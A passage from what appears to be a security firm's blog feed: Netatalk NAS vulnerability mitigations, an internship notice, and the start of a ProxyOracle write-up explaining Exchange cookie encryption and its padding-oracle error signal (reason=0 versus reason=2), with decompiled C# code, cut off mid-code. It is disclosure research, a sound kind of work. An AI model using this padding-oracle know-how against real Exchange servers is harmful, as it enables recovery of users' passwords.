exploited as long as the default is installed. <strong>No authentication is required</strong>.</p> <p>Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.</p> <p><strong>Your NAS is not your NAS !</strong></p> <p><img src="/assets/img/blog/20220328/32.png" alt="" /></p> <p>In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.</p> <h2 id="mitigation">Mitigation</h2> <h3 id="update">Update</h3> <p>At present, the above three have been patched, please update to the latest version.</p> <ul> <li>Synology <ul> <li>https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26</li> </ul> </li> <li>QNAP <ul> <li>https://www.qnap.com/en/security-advisory/qsa-21-50</li> </ul> </li> <li>Asustor <ul> <li>https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2</li> </ul> </li> </ul> <p>This vulnerability is also fixed in the recently released <a href="https://netatalk.sourceforge.io/3.1/ReleaseNotes3.1.13.html">Netatalk 3.1.13</a>. If you use a version before Netatalk 3.1.13, you also need to update to the latest version.</p> <h3 id="disable-afp">Disable AFP</h3> <ul> <li>It’s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.</li> <li>SMB is <strong>relatively safe</strong> <ul> <li>If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.</li> <li>It is recommended that all related services should be opened in the intranet.</li> </ul> </li> </ul> <h2 id="summary">Summary</h2> <p>We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.</p> <p>We also think that Netatalk is a new generation of backdoor in NAS!</p> <p>In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.</p> <p>The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.</p> <h2 id="to-be-continue">To be continue</h2> <p>In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.</p> <p>Please look forward to Part II.</p> https://devco.re/blog/2022/03/28/your-NAS-is-not-your-NAS-en/ https://devco.re/blog/2022/03/28/your-NAS-is-not-your-NAS-en Mon, 28 Mar 2022 00:00:00 +0800 [已結束] DEVCORE 2022 實習生計畫 <p>DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大<a href="https://devco.re/company/jobs/">徵才</a>,想找尋有著相同理念的人才一起奮鬥;而現在,我們開始嘗試舉辦實習生計畫,希望培育人才、增強新世代的資安技能,如果您對這個計畫有興趣,歡迎來信報名!</p> <!-- more --> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Binary 及 Web 兩個組別,主要內容如下:</p> <ul> <li>Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 70 %</li> <li>1-day 開發 (Exploitation) 30 %</li> </ul> </li> <li>Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。 <ul> <li>漏洞及攻擊手法研究 70%</li> <li>建置 Lab 30%</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2022 年 4 月開始到 7 月底,共 4 個月。</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>每週固定一天下午 14:00 - 18:00 必須到公司討論進度</li> <li>其餘時間皆為遠端作業</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <p>大專院校大三(含)以上具有一定程度資安背景的學生</p> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Binary 組:2 人</li> <li>Web 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 16,000 元</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="binary">Binary</h4> <ul> <li>基本逆向工程及除錯能力 <ul> <li>能看懂組合語言並瞭解基本 Debugger 使用技巧</li> </ul> </li> <li>基本漏洞利用能力 <ul> <li>須知道 ROP、Heap Exploitation 等相關利用技巧</li> </ul> </li> <li>基本 Scripting Language 開發能力 <ul> <li>Python、Ruby</li> </ul> </li> <li>具備分析大型 Open Source 專案能力 <ul> <li>以 C/C++ 為主</li> </ul> </li> <li>具備基礎作業系統知識 <ul> <li>例如知道 Virtual Address 與 Physical Address 的概念</li> </ul> </li> <li>Code Auditing <ul> <li>知道怎樣寫的程式碼會有問題 <ul> <li>Buffer Overflow</li> <li>Use After free</li> <li>Race Condition</li> <li>…</li> </ul> </li> </ul> </li> <li>具備研究熱誠,習慣了解技術本質</li> <li>加分但非必要條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>有公開的技術 blog/slide 或 Write-ups</li> <li>精通 IDA Pro 或 Ghidra</li> <li>有寫過 1-day 利用程式</li> <li>具備下列經驗 <ul> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="web">Web</h4> <ul> <li>熟悉 OWASP Web Top 10。</li> <li>理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。 <ul> <li>參考連結:https://portswigger.net/web-security/all-materials</li> </ul> </li> <li>理解計算機網路的基本概念。</li> <li>熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。</li> <li>熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。</li> <li>具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。</li> <li>具備追根究柢的精神。</li> <li>加分但非必要條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞。</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day exploit。</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目。</li> <li>擁有 OSCP 證照或同等能力之證照。</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為三個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>書面審查</li> <li>簡答題測驗(2 題,詳見下方<a href="/blog/2022/01/27/intern-recruit/#:~:text=簡答題題目">報名方式</a>)</li> </ul> <p>我們會根據您的履歷及簡答題所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆是否有通過第一階段,並且視情況附上第二階段的題目。</p> <h4 id="第二階段能力測驗">第二階段:能力測驗</h4> <ul> <li>Binary <ul> <li>第二階段會根據您的履歷或是任何可以證明具備 Binary Exploit 相關技能的資料來決定是否需要另外做題目,如果未達標準則會另外準備 Binary Exploitation 相關題目,原則上這個階段會給大家約兩週時間解題,解完後請務必寫下解題過程(Write-up),待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。</li> </ul> </li> <li>Web <ul> <li>無</li> </ul> </li> </ul> <h4 id="第三階段面試">第三階段:面試</h4> <p>此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h3 id="報名方式">報名方式</h3> <ul> <li>請將您的<strong>履歷</strong>及<strong>簡答題答案</strong>做成一份 PDF 檔寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> <li>請於 2022/02/11 前寄出(如果名額已滿則視情況提早結束)</li> </ul> </li> <li>信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)</li> <li>履歷內容請務必控制在兩頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>實習經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>過去對於資安的相關研究</li> <li>對於這份實習的期望</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> <li>簡答題題目如下,請依照欲申請之組別回答,答案頁數不限,可自由發揮 <ul> <li>Binary <ul> <li>假設你今天要分析一個 C/C++ 寫的 web server,在程式執行過程中,你覺得有哪些地方可能會發生問題導致程式流程被劫持?為什麼?</li> <li>在 Linux 機器上,當我們在對 CGI 進行分析時,由於 CGI 是由 apache 所呼叫並傳遞 input,且在執行後會立即結束,這種程式你會如何 debug ?</li> </ul> </li> <li>Web <ul> <li>當你在網頁瀏覽器的網址列上輸入一串網址(例如:<code class="language-plaintext highlighter-rouge">http://site.fake.devco.re/index.php?foo=bar</code>),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。</li> <li>依據前述問題的答案,允許隨意設想任何一個情境,並以文字盡可能說明在情境的各個環節中可能發生的任何安全議題或者攻擊目標、攻擊面向。</li> </ul> </li> </ul> </li> </ul> <p>若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2022/01/27/intern-recruit/ https://devco.re/blog/2022/01/27/intern-recruit Thu, 27 Jan 2022 00:00:00 +0800 A New Attack Surface on MS Exchange Part 3 - ProxyShell! <p>This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :)</p> <ul> <li><a href="https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell">FROM PWN2OWN 2021: A NEW ATTACK SURFACE ON MICROSOFT EXCHANGE - PROXYSHELL!</a></li> </ul> <p>If you are interesting in more Exchange Server attacks, you can also check our series of articles:</p> <ul> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/">A New Attack Surface on MS Exchange Part 1 - ProxyLogon!</a></li> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/">A New Attack Surface on MS Exchange Part 2 - ProxyOracle!</a></li> <li><a href="/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell/">A New Attack Surface on MS Exchange Part 3 - ProxyShell!</a></li> <li><a href="/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/">A New Attack Surface on MS Exchange Part 4 - ProxyRelay!</a></li> </ul> <p>With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the <a href="https://youtu.be/FC6iHw258RI">demonstration video</a>:</p> <div style="text-align: center"> <iframe width="560" height="315" src="https://www.youtube.com/embed/FC6iHw258RI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> </div> https://devco.re/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell/ https://devco.re/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell Sun, 22 Aug 2021 00:00:00 +0800 ProxyLogon 僅僅只是冰山一角,一個針對 Microsoft Exchange Server 的全新攻擊面! <style type="text/css"> table { width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: 0.6em; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid #ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } .center-image { margin: 0 auto; display: block; } </style> <p>Microsoft Exchange Server 作為當今世界上最常見的郵件解決方案,已經幾乎是企業以及政府每日工作與維繫安全不可或缺的一部分!在今年一月,我們回報了一系列的 Exchange Server 漏洞給 Microsoft,並且將這個漏洞它命名為 <a href="https://proxylogon.com/">ProxyLogon</a>,相信如果您有在關注業界新聞,一定也聽過這個名字!ProxyLogon 也許是 Exchange 歷史上最嚴重、影響力也最大的一個漏洞!</p> <p>隨著更深入的從架構層去研究 ProxyLogon,我們發現它不僅僅只是一個漏洞,而是一整個新的、沒有人提過的攻擊面可讓駭客或安全研究員去挖掘更多的漏洞。因此我們專注深入研究這個攻擊面,並從中發現了至少八個漏洞,這些漏洞涵蓋了伺服器端、客戶端,甚至密碼學漏洞,我們並將這些漏洞組合成了三個攻擊鏈:</p> <ol> <li>ProxyLogon: 最知名、影響力也最大的 Exchange 攻擊鏈</li> <li>ProxyOracle: 一個可以還原任意 Exchange 使用者明文密碼的攻擊鏈</li> <li>ProxyShell: 我們在 Pwn2Own 2021 上展示打掉 Exchange 的攻擊鏈</li> </ol> <p><img src="/assets/img/blog/20210807/1.png" alt="" /></p> <p>所有我們找到的漏洞都是邏輯漏洞,這代表相較於記憶體毀損類型的漏洞,這些漏洞更容易被重現以及利用,我們也將成果發表至 <a href="https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442">Black Hat USA</a> 及 <a href="https://defcon.org/html/defcon-29/dc-29-speakers.html#tsai">DEFCON</a> 上,也同時獲得了 2021 Pwnie Awards 年度 Best Server-Side Bug 獎項,如果你有興趣的話可以從這邊下載會議的投影片!</p> <ul> <li>ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf">[投影片]</a> <a href="https://www.youtube.com/watch?v=5mqid-7zp8k">[影片]</a></li> </ul> <p>本次提及的漏洞皆經過負責任的漏洞接露程序回報給微軟、並獲得修復,您可以從下面這張圖查看詳細的漏洞編號及回報時間表。</p> <table> <thead> <tr> <th style="text-align: center">Report Time</th> <th style="text-align: center">Name</th> <th style="text-align: center">CVE</th> <th style="text-align: center">Patch Time</th> <th style="text-align: center">CAS<sup>[1]</sup></th> <th style="text-align: center">Reported By</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">Jan 05, 2021</td> <td style="text-align: center">ProxyLogon</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855">CVE-2021-26855</a></td> <td style="text-align: center">Mar 02, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai, Volexity and MSTIC</td> </tr> <tr> <td style="text-align: center">Jan 05, 2021</td> <td style="text-align: center">ProxyLogon</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a></td> <td style="text-align: center">Mar 02, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai, Volexity and MSTIC</td> </tr> <tr> <td style="text-align: center">Jan 17, 2021</td> <td style="text-align: center">ProxyOracle</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196">CVE-2021-31196</a></td> <td style="text-align: center">Jul 13, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai</td> </tr> <tr> <td style="text-align: center">Jan 17, 2021</td> <td style="text-align: center">ProxyOracle</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195">CVE-2021-31195</a></td> <td style="text-align: center">May 11, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai</td> </tr> <tr> <td style="text-align: center">Apr 02, 2021</td> <td style="text-align: center">ProxyShell<sup>[2]</sup></td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473">CVE-2021-34473</a></td> <td style="text-align: center">Apr 13, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai working with ZDI</td> </tr> <tr> <td style="text-align: center">Apr 02, 2021</td> <td style="text-align: center">ProxyShell<sup>[2]</sup></td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523">CVE-2021-34523</a></td> <td style="text-align: center">Apr 13, 2021</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai working with ZDI</td> </tr> <tr> <td style="text-align: center">Apr 02, 2021</td> <td style="text-align: center">ProxyShell<sup>[2]</sup></td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207">CVE-2021-31207</a></td> <td style="text-align: center">May 11, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai working with ZDI</td> </tr> <tr> <td style="text-align: center">Jun 02, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">-</td> <td style="text-align: center">-</td> <td style="text-align: center">Yes</td> <td style="text-align: center">Orange Tsai</td> </tr> <tr> <td style="text-align: center">Jun 02, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768">CVE-2021-33768</a></td> <td style="text-align: center">Jul 13, 2021</td> <td style="text-align: center">-</td> <td style="text-align: center">Orange Tsai and Dlive</td> </tr> </tbody> </table> <div style="font-size:0.6em; line-height: 1.6;"> <br /><em>[1] Bugs relate to this new attack surface direclty</em><br /> <em>[2] Pwn2Own 2021 bugs</em> </div> <p>更詳盡的技術細節我們已陸續公布,後續連結會持續更新於本文,敬請期待:</p> <ul> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/">A New Attack Surface on MS Exchange Part 1 - ProxyLogon!</a></li> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/">A New Attack Surface on MS Exchange Part 2 - ProxyOracle!</a></li> <li><a href="/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell/">A New Attack Surface on MS Exchange Part 3 - ProxyShell!</a></li> <li><a href="/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/">A New Attack Surface on MS Exchange Part 4 - ProxyRelay!</a></li> </ul> https://devco.re/blog/2021/08/07/a-new-attack-surface-on-MS-exchange/ https://devco.re/blog/2021/08/07/a-new-attack-surface-on-MS-exchange Sat, 07 Aug 2021 00:00:00 +0800 A New Attack Surface on MS Exchange Part 2 - ProxyOracle! <style type="text/css"> .center-image { margin: 0 auto; display: block; } </style> <p>Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:</p> <ul> <li><a href="/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/">A New Attack Surface on MS Exchange Part 1 - ProxyLogon!</a></li> </ul> <p>This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:</p> <ul> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195">CVE-2021-31195</a> - Reflected Cross-Site Scripting</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196">CVE-2021-31196</a> - Padding Oracle Attack on Exchange Cookies Parsing</li> </ul> <h1 id="where-is-proxyoracle">Where is ProxyOracle</h1> <p>So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code>. The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.</p> <p>We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the <code class="language-plaintext highlighter-rouge">ProxyModule</code> and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.</p> <p><img src="/assets/img/blog/20210806/2/1.png" alt="" /></p> <h1 id="the-fba-mechanism">The FBA Mechanism</h1> <p>HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code>, and forward it to the Backend</p> <p><strong>HttpProxy\FbaModule.cs</strong></p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">OnBeginRequestInternal</span><span class="p">(</span><span class="n">HttpApplication</span> <span class="n">httpApplication</span><span class="p">)</span> <span class="p">{</span> <span class="n">httpApplication</span><span class="p">.</span><span class="n">Context</span><span class="p">.</span><span class="n">Items</span><span class="p">[</span><span class="s">"AuthType"</span><span class="p">]</span> <span class="p">=</span> <span class="s">"FBA"</span><span class="p">;</span> <span class="k">if</span> <span class="p">(!</span><span class="k">this</span><span class="p">.</span><span class="nf">HandleFbaAuthFormPost</span><span class="p">(</span><span class="n">httpApplication</span><span class="p">))</span> <span class="p">{</span> <span class="k">try</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nf">ParseCadataCookies</span><span class="p">(</span><span class="n">httpApplication</span><span class="p">);</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">MissingSslCertificateException</span><span class="p">)</span> <span class="p">{</span> <span class="n">NameValueCollection</span> <span class="n">nameValueCollection</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">NameValueCollection</span><span class="p">();</span> <span class="n">nameValueCollection</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"CafeError"</span><span class="p">,</span> <span class="n">ErrorFE</span><span class="p">.</span><span class="n">FEErrorCodes</span><span class="p">.</span><span class="n">SSLCertificateProblem</span><span class="p">.</span><span class="nf">ToString</span><span class="p">());</span> <span class="k">throw</span> <span class="k">new</span> <span class="nf">HttpException</span><span class="p">(</span><span class="m">302</span><span class="p">,</span> <span class="n">AspNetHelper</span><span class="p">.</span><span class="nf">GetCafeErrorPageRedirectUrl</span><span class="p">(</span><span class="n">httpApplication</span><span class="p">.</span><span class="n">Context</span><span class="p">,</span> <span class="n">nameValueCollection</span><span class="p">));</span> <span class="p">}</span> <span class="p">}</span> <span class="k">base</span><span class="p">.</span><span class="nf">OnBeginRequestInternal</span><span class="p">(</span><span class="n">httpApplication</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:</p> <ul> <li><code class="language-plaintext highlighter-rouge">cadata</code> - The encrypted username and password</li> <li><code class="language-plaintext highlighter-rouge">cadataTTL</code> - The Time-To-Live timestamp</li> <li><code class="language-plaintext highlighter-rouge">cadataKey</code> - The KEY for encryption</li> <li><code class="language-plaintext highlighter-rouge">cadataIV</code> - The IV for encryption</li> <li><code class="language-plaintext highlighter-rouge">cadataSig</code> - The signature to prevent tampering</li> </ul> <p><img src="/assets/img/blog/20210806/2/2.png" alt="" /></p> <p>The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!</p> <p>Here is a Pseudo Code for the encryption logic:</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">@key</span> <span class="p">=</span> <span class="nf">GetServerSSLCert</span><span class="p">().</span><span class="nf">GetPrivateKey</span><span class="p">()</span> <span class="n">cadataSig</span> <span class="p">=</span> <span class="nf">RSA</span><span class="p">(</span><span class="n">@key</span><span class="p">).</span><span class="nf">Encrypt</span><span class="p">(</span><span class="s">"Fba Rocks!"</span><span class="p">)</span> <span class="n">cadataIV</span> <span class="p">=</span> <span class="nf">RSA</span><span class="p">(</span><span class="n">@key</span><span class="p">).</span><span class="nf">Encrypt</span><span class="p">(</span><span class="nf">GetRandomBytes</span><span class="p">(</span><span class="m">16</span><span class="p">))</span> <span class="n">cadataKey</span> <span class="p">=</span> <span class="nf">RSA</span><span class="p">(</span><span class="n">@key</span><span class="p">).</span><span class="nf">Encrypt</span><span class="p">(</span><span class="nf">GetRandomBytes</span><span class="p">(</span><span class="m">16</span><span class="p">))</span> <span class="n">@timestamp</span> <span class="p">=</span> <span class="nf">GetCurrentTimestamp</span><span class="p">()</span> <span class="n">cadataTTL</span> <span class="p">=</span> <span class="nf">AES_CBC</span><span class="p">(</span><span class="n">cadataKey</span><span class="p">,</span> <span class="n">cadataIV</span><span class="p">).</span><span class="nf">Encrypt</span><span class="p">(</span><span class="n">@timestamp</span><span class="p">)</span> <span class="n">@blob</span> <span class="p">=</span> <span class="s">"Basic "</span> <span class="p">+</span> <span class="nf">ToBase64String</span><span class="p">(</span><span class="n">UserName</span> <span class="p">+</span> <span class="s">":"</span> <span class="p">+</span> <span class="n">Password</span><span class="p">)</span> <span class="n">cadata</span> <span class="p">=</span> <span class="nf">AES_CBC</span><span class="p">(</span><span class="n">cadataKey</span><span class="p">,</span> <span class="n">cadataIV</span><span class="p">).</span><span class="nf">Encrypt</span><span class="p">(</span><span class="n">@blob</span><span class="p">)</span> </code></pre></div></div> <p>The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!</p> <p><img src="/assets/img/blog/20210806/2/3.gif" alt="" class="center-image" /></p> <h1 id="cve-2021-31196---the-padding-oracle">CVE-2021-31196 - The Padding Oracle</h1> <p>When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is <code class="language-plaintext highlighter-rouge">0</code>, which means <code class="language-plaintext highlighter-rouge">None</code>:</p> <blockquote> <p>Location: /OWA/logon.aspx?url=…&amp;reason=0</p> </blockquote> <p>In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is <code class="language-plaintext highlighter-rouge">2</code>, which represents <code class="language-plaintext highlighter-rouge">InvalidCredntials</code>:</p> <blockquote> <p>Location: /OWA/logon.aspx?url=…&amp;reason=2</p> </blockquote> <p>The diagram looks like:</p> <p><img src="/assets/img/blog/20210806/2/4.png" alt="" /></p> <p>With the difference, we now have an Oracle to identify whether the decryption process is successful or not.</p> <p><strong>HttpProxy\FbaModule.cs</strong></p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">void</span> <span class="nf">ParseCadataCookies</span><span class="p">(</span><span class="n">HttpApplication</span> <span class="n">httpApplication</span><span class="p">)</span> <span class="p">{</span> <span class="n">HttpContext</span> <span class="n">context</span> <span class="p">=</span> <span class="n">httpApplication</span><span class="p">.</span><span class="n">Context</span><span class="p">;</span> <span class="n">HttpRequest</span> <span class="n">request</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Request</span><span class="p">;</span> <span class="n">HttpResponse</span> <span class="n">response</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">;</span> <span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="n">Cookies</span><span class="p">[</span><span class="s">"cadata"</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="kt">string</span> <span class="n">text2</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="n">Cookies</span><span class="p">[</span><span class="s">"cadataKey"</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="kt">string</span> <span class="n">text3</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="n">Cookies</span><span class="p">[</span><span class="s">"cadataIV"</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="kt">string</span> <span class="n">text4</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="n">Cookies</span><span class="p">[</span><span class="s">"cadataSig"</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="kt">string</span> <span class="n">text5</span> <span class="p">=</span> <span class="n">request</span><span class="p">.</span><span class="n">Cookies</span><span class="p">[</span><span class="s">"cadataTTL"</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="c1">// ...</span> <span class="n">RSACryptoServiceProvider</span> <span class="n">rsacryptoServiceProvider</span> <span class="p">=</span> <span class="p">(</span><span class="n">x509Certificate</span><span class="p">.</span><span 